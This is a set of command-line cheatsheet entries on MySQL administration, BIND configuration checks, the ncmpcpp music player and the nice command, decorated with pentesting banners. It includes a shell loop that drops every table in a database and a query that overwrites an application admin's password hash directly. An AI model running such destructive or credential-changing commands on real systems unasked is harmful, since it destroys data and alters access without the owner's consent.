██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
95 - 🖥️mysql
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mysql command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗
# ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
# ██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║
# ██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║
# ██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗
# ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══▀▀═╝ ╚══════╝
# To connect to a database
mysql -h localhost -u root -p
# To backup all databases
mysqldump --all-databases --all-routines -u root -p > ~/fulldump.sql
# To restore all databases
mysql -u root -p < ~/fulldump.sql
# To create a database in utf8 charset
CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci;
# To add a user and give rights on the given database
GRANT ALL PRIVILEGES ON database.* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION;
# To list the privileges granted to the account that you are using to connect to the server. Any of the 3 statements will work.
SHOW GRANTS FOR CURRENT_USER();
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;
# Basic SELECT Statement
SELECT * FROM tbl_name;
# Basic INSERT Statement
INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2);
# Basic UPDATE Statement
UPDATE tbl_name SET col1 = "example";
# Basic DELETE Statement
DELETE FROM tbl_name WHERE user = 'jcole';
#==============================##==============================#
# CMD MYSQL #
#==============================##==============================#
[root@ipam ~]# mysql -u root -p
Enter password:
mysql> create database phpipam;
Query OK, 1 row affected (0.00 sec)
mysql> GRANT ALL on phpipam.* to phpipam@localhost identified by ‘phpipamadmin’;
Query OK, 0 rows affected (0.00 sec)
mysql> exit
Bye
# Backup IP address table, remove backups older than 10 days
@daily /usr/bin/mysqldump -u ipv6 -pipv6admin phpipam > <ipam_dir>/db/bkp/phpipam_bkp_$(date +"\%y\%m\%d").db
@daily /usr/bin/find <ipam_dir>/db/bkp/ -ctime +10 -exec rm {} \;
# Import SQL Dumps:
mysql -uroot -pPasswort < sql.file
# How to remove a MySQL
mysql> drop database `my-database`;
# Create User in MySQL/MariaDB
CREATE USER 'new_user'@'localhost' IDENTIFIED BY 'new_password';
# then to grant all access to the database (e.g. my_db), use GRANT Syntax, e.g.
GRANT ALL ON my_db.* TO 'new_user'@'localhost';
# Where ALL (priv_type) can be replaced with specific privilege such as SELECT, INSERT, UPDATE, ALTER, etc.
# Then to reload newly assigned permissions run:
FLUSH PRIVILEGES;
Shell integration
For people not familiar with MySQL syntax, here are handy shell functions which are easy to remember and use (to use them, you need to load the shell functions included further down).
Here is example:
$ mysql-create-user admin mypass
| CREATE USER 'admin'@'localhost' IDENTIFIED BY 'mypass'
$ mysql-create-db foo
| CREATE DATABASE IF NOT EXISTS foo
$ mysql-grant-db admin foo
| GRANT ALL ON foo.* TO 'admin'@'localhost'
| FLUSH PRIVILEGES
$ mysql-show-grants admin
| SHOW GRANTS FOR 'admin'@'localhost'
| Grants for admin@localhost
| GRANT USAGE ON *.* TO 'admin'@'localhost' IDENTIFIED BY PASSWORD '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4' |
| GRANT ALL PRIVILEGES ON `foo`.* TO 'admin'@'localhost'
$ mysql-drop-user admin
| DROP USER 'admin'@'localhost'
$ mysql-drop-db foo
| DROP DATABASE IF EXISTS foo
To use above commands, you need to copy&paste the following functions into your rc file (e.g. .bash_profile) and reload your shell or source the file. In this case just type source .bash_profile:
# Create user in MySQL/MariaDB.
mysql-create-user() {
[ -z "$2" ] && { echo "Usage: mysql-create-user (user) (password)"; return; }
mysql -ve "CREATE USER '$1'@'localhost' IDENTIFIED BY '$2'"
}
# Delete user from MySQL/MariaDB
mysql-drop-user() {
[ -z "$1" ] && { echo "Usage: mysql-drop-user (user)"; return; }
mysql -ve "DROP USER '$1'@'localhost';"
}
# Create new database in MySQL/MariaDB.
mysql-create-db() {
[ -z "$1" ] && { echo "Usage: mysql-create-db (db_name)"; return; }
mysql -ve "CREATE DATABASE IF NOT EXISTS $1"
}
# Drop database in MySQL/MariaDB.
mysql-drop-db() {
[ -z "$1" ] && { echo "Usage: mysql-drop-db (db_name)"; return; }
mysql -ve "DROP DATABASE IF EXISTS $1"
}
# Grant all permissions for user for given database.
mysql-grant-db() {
[ -z "$2" ] && { echo "Usage: mysql-grand-db (user) (database)"; return; }
mysql -ve "GRANT ALL ON $2.* TO '$1'@'localhost'"
mysql -ve "FLUSH PRIVILEGES"
}
# Show current user permissions.
mysql-show-grants() {
[ -z "$1" ] && { echo "Usage: mysql-show-grants (user)"; return; }
mysql -ve "SHOW GRANTS FOR '$1'@'localhost'"
}
#############################################################################
# Example:
[root@phpipam ~] mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> use `phpipam`;
Database changed
mysql> update `users`
set `password` = '$6$rounds=3000$JQEE6dL9NpvjeFs4$RK5X3oa28.Uzt/h5VAfdrsvlVe.7HgQUYKMXTJUsud8dmWfPzZQPbRbk8xJn1Kyyt4.dWm4nJIYhAV2mbOZ3g.'
where `username` = "admin";
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql>quit
Bye
#############################################################################
# Delete all tables of a mysql database
mysql --defaults-file=my.cnf -e 'show tables' | while read t; do mysql --defaults-file=my.cnt -e 'drop table '$t; done
# Explanation: If you have a root access to the database, a drop database + create database is easiest. This script is useful in situations where you do not have root access to the database.
# First prepare a file my.cnf to store database credentials so you do not have to enter on the command line:
# [client]
# database=dbname
# user=dbuser
# password=dbpass
# host=dbhost
# Make sure to protect this file with chmod go-rwx.
# The one-liner will execute show tables on the database to list all tables. Then the while loop reads each table name line by line and executes a drop table command.
# Limitations: The above solution is lazy, because not all lines in the output of show tables are table names, so you will see errors when you run it. But hey, shell scripts are meant to be lazy!
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mysql in a clear format. This allows users to quickly access the needed information for mysql without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mysql are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
96 - 🖥️mysqladmin
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mysqladmin command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ █████╗ ██████╗ ███╗ ███╗██╗███╗ ██╗
# ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║ ██╔══██╗██╔══██╗████╗ ████║██║████╗ ██║
# ██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ███████║██║ ██║██╔████╔██║██║██╔██╗ ██║
# ██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██╔══██║██║ ██║██║╚██╔╝██║██║██║╚██╗██║
# ██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║ ██║██████╔╝██║ ╚═╝ ██║██║██║ ╚████║
# ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝
#
# InnoDB related parameters
mysqladmin variables | egrep '(innodb_log_file|innodb_data_file)'
# mysql status - cron entry to record mysql status every minute
mysqladmin status >> /home/status.txt 2>> /home/status_err.txt
# mysql backup utility
mysqlbackup --port=3306 --protocol=tcp --user=dba --password=dba --with-timestamp --backup-dir=/tmp/toback/ --slave-info backup-and-apply-log --innodb_data_file_path=ibdata1:10M:autoextend --innodb_log_files_in_group=2 --innodb_log_file_size=5242880
# check mysql capacity to handle traffic
mysqlslap --query=/root/select_query_cp.sql --concurrency=10 --iterations=5 --create-schema=cvts1
# check mysql server performance
mysqlslap --query=/home/ec2-user/insert.txt --concurrency=123 --iterations=1 --create-schema=test
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mysqladmin in a clear format. This allows users to quickly access the needed information for mysqladmin without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mysqladmin are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
97 - 🖥️mysqldump
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mysqldump command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██████╗ ██╗ ██╗███╗ ███╗██████╗
# ████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║ ██╔══██╗██║ ██║████╗ ████║██╔══██╗
# ██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║ ██║██║ ██║██╔████╔██║██████╔╝
# ██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║ ██║██║ ██║██║╚██╔╝██║██╔═══╝
# ██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██║
# ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
# To dump a database to a file (Note that your password will appear in your command history!):
mysqldump -uusername -ppassword the-database > db.sql
# To dump a database to a file:
mysqldump -uusername -p the-database > db.sql
# To dump a database to a .tgz file (Note that your password will appear in your command history!):
mysqldump -uusername -ppassword the-database | gzip -9 > db.sql
# To dump a database to a .tgz file:
mysqldump -uusername -p the-database | gzip -9 > db.sql
# To dump all databases to a file (Note that your password will appear in your command history!):
mysqldump -uusername -ppassword --all-databases > all-databases.sql
# To dump all databases to a file:
mysqldump -uusername -p --all-databases > all-databases.sql
# To export the database structure only:
mysqldump --no-data -uusername -p the-database > dump_file
# To export the database data only:
mysqldump --no-create-info -uusername -p the-database > dump_file
# backup all data in compressed format - error out to a different file every day if it is part of a cron entry. The backup file will overwrite older version.
mysqldump --routines --all-databases | gzip > /home/mydata.sql.gz 2> /home/mydata.date '+\%b\%d'.err
# Monitor ETA using pv command - You can get an approximate idea of how long your data export might take.
mysqldump --login-path=mypath sbtest sbtest4 | pv --progress --size 200m -t -e -r -a > dump.sql
# Sample output
# [==================================> ] 60% ETA 0:00:01
#==============================##==============================#
# CMD MYSQLDUMP #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command mysqldump in a clear format. This allows users to quickly access the needed information for mysqldump without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for mysqldump are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
98 - 🖥️named-checkconf
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the named-checkconf command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ██████╗██╗ ██╗███████╗ ██████╗██╗ ██╗ ██████╗ ██████╗ ███╗ ██╗███████╗
# ████╗ ██║██╔══██╗████╗ ████║██╔════╝██╔══██╗ ██╔════╝██║ ██║██╔════╝██╔════╝██║ ██╔╝██╔════╝██╔═══██╗████╗ ██║██╔════╝
# ██╔██╗ ██║███████║██╔████╔██║█████╗ ██║ ██║█████╗██║ ███████║█████╗ ██║ █████╔╝ ██║ ██║ ██║██╔██╗ ██║█████╗
# ██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ██║╚════╝██║ ██╔══██║██╔══╝ ██║ ██╔═██╗ ██║ ██║ ██║██║╚██╗██║██╔══╝
# ██║ ╚████║██║ ██║██║ ╚═╝ ██║███████╗██████╔╝ ╚██████╗██║ ██║███████╗╚██████╗██║ ██╗╚██████╗╚██████╔╝██║ ╚████║██║
# ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝
# named-checkconf /etc/named.conf
and
# named-checkconf -t /var/named/chroot /etc/named.conf
If above command shows nothing in output, means configuration is ok, Now restart bind service.
# /etc/init.d/named restart
#==============================##==============================#
# CMD NAMED-CHECKCONF #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command named-checkconf in a clear format. This allows users to quickly access the needed information for named-checkconf without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for named-checkconf are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
99 - 🖥️named-checkzone
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the named-checkzone command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ██████╗██╗ ██╗███████╗ ██████╗██╗ ██╗███████╗ ██████╗ ███╗ ██╗███████╗
# ████╗ ██║██╔══██╗████╗ ████║██╔════╝██╔══██╗ ██╔════╝██║ ██║██╔════╝██╔════╝██║ ██╔╝╚══███╔╝██╔═══██╗████╗ ██║██╔════╝
# ██╔██╗ ██║███████║██╔████╔██║█████╗ ██║ ██║█████╗██║ ███████║█████╗ ██║ █████╔╝ ███╔╝ ██║ ██║██╔██╗ ██║█████╗
# ██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ██║╚════╝██║ ██╔══██║██╔══╝ ██║ ██╔═██╗ ███╔╝ ██║ ██║██║╚██╗██║██╔══╝
# ██║ ╚████║██║ ██║██║ ╚═╝ ██║███████╗██████╔╝ ╚██████╗██║ ██║███████╗╚██████╗██║ ██╗███████╗╚██████╔╝██║ ╚████║███████╗
# ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝
named-checkzone DOMAIN.com DOMAIN.com.hosts
#==============================##==============================#
# CMD NAMED-CHECKZONE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command named-checkzone in a clear format. This allows users to quickly access the needed information for named-checkzone without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for named-checkzone are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
100 - 🖥️ncmpcpp
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ncmpcpp command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗ ██████╗███╗ ███╗██████╗ ██████╗██████╗ ██████╗
# ████╗ ██║██╔════╝████╗ ████║██╔══██╗██╔════╝██╔══██╗██╔══██╗
# ██╔██╗ ██║██║ ██╔████╔██║██████╔╝██║ ██████╔╝██████╔╝
# ██║╚██╗██║██║ ██║╚██╔╝██║██╔═══╝ ██║ ██╔═══╝ ██╔═══╝
# ██║ ╚████║╚██████╗██║ ╚═╝ ██║██║ ╚██████╗██║ ██║
# ╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═════╝╚═╝ ╚═╝
# ncmpcpp is an mpd client (compatible with mopidy) with a UI very similar to ncmpc,
# but it provides new useful features such as support for regular expressions for library searches,
# extended song format, items filtering, the ability to sort playlists, and a local filesystem browser.
# configure ncmpcpp
mkdir ~/.ncmpcpp
cat <<EOF > ~/.ncmpcpp/config
ncmpcpp_directory = "~/.ncmpcpp"
mpd_host = "127.0.0.1"
mpd_port = "6600"
mpd_music_dir = "/var/lib/mpd/music/"
EOF
# Movement
Up k Move cursor up
Down j Move cursor down
[ Move cursor up one album
] Move cursor down one album
{ Move cursor up one artist
} Move cursor down one artist
Page Up Page up
Page Down Page down
Home Home
End End
#
Tab Switch to next screen in sequence
Shift-Tab Switch to previous screen in sequence
F1 Show help
1 Show playlist
2 Show browser
3 Show search engine
4 Show media library
5 Show playlist editor
6 Show tag editor
7 Show outputs
8 Show music visualizer
= Show clock
@ Show server info
# Global
s Stop
p Pause
> Next track
< Previous track
Ctrl-H Backspace Replay playing song
f Seek forward in playing song
b Seek backward in playing song
- Left Decrease volume by 2%
Right + Increase volume by 2%
#
t Toggle space mode (select/add)
T Toggle add mode (add or remove/always add)
| Toggle mouse support
v Reverse selection
V Remove selection
B Select songs of album around the cursor
a Add selected items to playlist
` Add random items to playlist
r Toggle repeat mode
z Toggle random mode
y Toggle single mode
R Toggle consume mode
Y Toggle replay gain mode
# Toggle bitrate visibility
Z Shuffle playlist
x Toggle crossfade mode
X Set crossfade
#
u Start music database update
: Execute command
Ctrl-F Apply filter
/ Find item forward
? Find item backward
, Jump to previous found item
. Jump to next found item
w Toggle find mode (normal/wrapped)
G Locate song in browser
~ Locate song in media library
#
Ctrl-L Lock/unlock current screen
Left h Switch to master screen (left one)
Right l Switch to slave screen (right one)
#
E Locate song in tag editor
P Toggle display mode
\ Toggle user interface
! Toggle displaying separators between albums
g Jump to given position in playing song (formats: mm:ss, x%)
i Show song info
I Show artist info
L Toggle lyrics fetcher
F Toggle fetching lyrics for playing songs in background
q Quit
# Playlist
Enter Play selected item
Delete Delete selected item(s) from playlist
c Clear playlist
C Clear playlist except selected item(s)
Ctrl-P Set priority of selected items
Ctrl-K m Move selected item(s) up
n Ctrl-J Move selected item(s) down
M Move selected item(s) to cursor position
A Add item to playlist
e Edit song
S Save playlist
Ctrl-V Sort playlist
Ctrl-R Reverse playlist
o Jump to current song
U Toggle playing song centering
# Browser
Enter Enter directory/Add item to playlist and play it
Space Add item to playlist/select it
e Edit song/directory/playlist name
2 Browse MPD database/local filesystem
` Toggle sort mode
o Locate playing song
Ctrl-H Backspace Jump to parent directory
Delete Delete selected items from disk
G Jump to playlist editor (playlists only)
# Search engine
Enter Add item to playlist and play it/change option
Space Add item to playlist
e Edit song
y Start searching
3 Reset search constraints and clear results
# Media library
4 Switch between two/three columns mode
Left h Previous column
Right l Next column
Enter Add item to playlist and play it
Space Add item to playlist
e Edit song
e Edit tag (left column)/album (middle/right column)
` Toggle type of tag used in left column
m Toggle sort mode
# Playlist editor
Left h Previous column
Right l Next column
Enter Add item to playlist and play it
Space Add item to playlist/select it
e Edit song/playlist name
Ctrl-K m Move selected item(s) up
n Ctrl-J Move selected item(s) down
Delete Delete selected playlists (left column)
C Clear playlist except selected item(s)
Ctrl-P Set priority of selected items
Ctrl-K m Move selected item(s) up
n Ctrl-J Move selected item(s) down
M Move selected item(s) to cursor position
A Add item to playlist
e Edit song
S Save playlist
Ctrl-V Sort playlist
Ctrl-R Reverse playlist
o Jump to current song
U Toggle playing song centering
# Browser
Enter Enter directory/Add item to playlist and play it
Space Add item to playlist/select it
e Edit song
e Edit directory name
e Edit playlist name
2 Browse MPD database/local filesystem
` Toggle sort mode
o Locate playing song
Ctrl-H Backspace Jump to parent directory
Delete Delete selected items from disk
G Jump to playlist editor (playlists only)
# Search engine
Enter Add item to playlist and play it/change option
Space Add item to playlist
e Edit song
y Start searching
3 Reset search constraints and clear results
# Media library
4 Switch between two/three columns mode
Left h Previous column
Right l Next column
Enter Add item to playlist and play it
Space Add item to playlist
e Edit song/tag (left column)/album (middle/right column)
` Toggle type of tag used in left column
m Toggle sort mode
# Playlist editor
Left h Previous column
Right l Next column
Enter Add item to playlist and play it
Space Add item to playlist/select it
e Edit song/playlist name
Ctrl-K m Move selected item(s) up
n Ctrl-J Move selected item(s) down
Delete Delete selected playlists (left column)
Delete Delete selected item(s) from playlist (right column)
c Clear playlist
C Clear playlist except selected items
# Lyrics
Space Toggle reloading lyrics upon song change
e Open lyrics in external editor
` Refetch lyrics
# Tiny tag editor
Enter Edit tag
y Save
# Tag editor
Enter Edit tag/filename of selected item (left column)
Enter Perform operation on all/selected items (middle column)
Space Switch to albums/directories view (left column)
Space Select item (right column)
Left h Previous column
Right l Next column
Ctrl-H Backspace Jump to parent directory (left column, directories view)
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ncmpcpp in a clear format. This allows users to quickly access the needed information for ncmpcpp without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ncmpcpp are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
101 - 🖥️nice
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the nice command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███╗ ██╗██╗ ██████╗███████╗
# ████╗ ██║██║██╔════╝██╔════╝
# ██╔██╗ ██║██║██║ █████╗
# ██║╚██╗██║██║██║ ██╔══╝
# ██║ ╚████║██║╚██████╗███████╗
# ╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝
# The nice command lets you run a program with modified scheduling priority.
nice -n[niceness-value] [program]
nice -n15 vim
#==============================##==============================#
# CMD NICE #
#==============================##==============================#
